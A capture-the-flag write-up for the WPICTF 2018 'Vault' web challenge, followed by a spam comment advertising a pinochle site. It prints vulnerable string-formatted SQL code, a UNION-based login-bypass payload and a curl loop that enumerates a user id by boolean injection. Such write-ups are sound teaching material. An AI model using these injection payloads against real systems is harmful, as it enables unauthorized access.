Tags: sqli 

Rating:

**No files provided**

**Description**

> https://vault.wpictf.xyz
>
> UPDATE: everything fixed
>
> by GODeva

**Solution**

![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-04-13-WPICTF/screens/web-200-vault1.png)

We are greeted with a login screen. The page sourcecode has two interesting comments:

We are given the full schema for the `clients` table, so it is pretty clear we will be dealing with a SQL injection of some sort. The other comment:

$ echo "V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt" | base64 -D
What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham

So just a red herring. The register button links to [this useful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Let's try putting some data in the form.

> Username: '
>
> Password: x

![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-04-13-WPICTF/screens/web-200-vault2.png)

Very useful! We can even expand the last entry in the traceback to see the surrounding code:

> File "/home/vault/vault/secretvault.py", line 58, in login
> connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))
> pointer = connection.cursor()
>
> search = """SELECT id, hash, salt FROM clients
> WHERE clientname = '{0}' LIMIT 1""".format(clientname)
> pointer.execute(search)
>
> res = pointer.fetchone()
> if not res:
> return "No such user in the database {0}!\n".format(clientname)
> userID, hash, salt = res

Very clear SQL injection vulnerability. Unfortunately, it looks like the server first selects a row from the table based on `clientname`, then checks the `hash` + `salt` at a later point. No problem, we can use a SQL `UNION` statement to make our own login credentials. We make an informed guess that the hashing algorithm is SHA-256. It is not clear whether the salt is appended or prepended, so let's just not have any. We can find out the SHA-256 hash of a password of our choosing easily:

$ python -c 'from hashlib import sha256; print sha256("foobar").hexdigest()'
c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2

The full data that we'd like to have in the table is:

| `id` | `hash` | `salt` |
| --- | --- | --- |
| "0" | "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" | "" |

We'll get to `id` later, so we put 0 for now (but the column type is still `VARCHAR(255)`). Knowing the query the server executes, we construct the following injection:

' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --

So after Python formats the query string, the result is:

SELECT id, hash, salt FROM clients WHERE clientname = ''
UNION
SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", ""

(Everything after is ignored due to the comment marker ` -- `.)

In other words, the server is looking for clients with `clientname` equal to the empty string, and concatenates the (non-existent) results of that query with our inline data.

To login:

> Username: ' UNION SELECT "0", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
>
> Password: foobar

It works, and we are greeted with the message:

Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ" (Log out)

I'll let you guess what that video is. There is nothing else we can change in our login except for the `id` - it seems the server serves different "digital secrets" based on the `id` of the logged-in user. We can figure out the `id` for user `Goutham`, since the red herring comment hinted that `Goutham` knows the flag. Given that `id` is a `VARCHAR(255)`, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.

#!/bin/bash
for id in {0..9}; do
echo "$id"
curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \
--data-urlencode "password=a" "https://vault.wpictf.xyz/login"
done

> [link to script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/scripts/web-200-vault-getid.sh)

The above script injects the additional condition for `id` value into the SQL query. Only when both `clientname` and `id` match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that `Goutham` has `id` "2".

> Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" --
>
> Password: foobar

And that works:

Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out)

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/README.md#web--200-vault).
sagarharish999Sept. 20, 2018, 5:55 p.m.

Please shear this post this is very useful post you play this game your free time here you play <a href="http://pinochle.online/">pinochle game</a> that is a very good application then getup you phone install this app thanks play this game forever.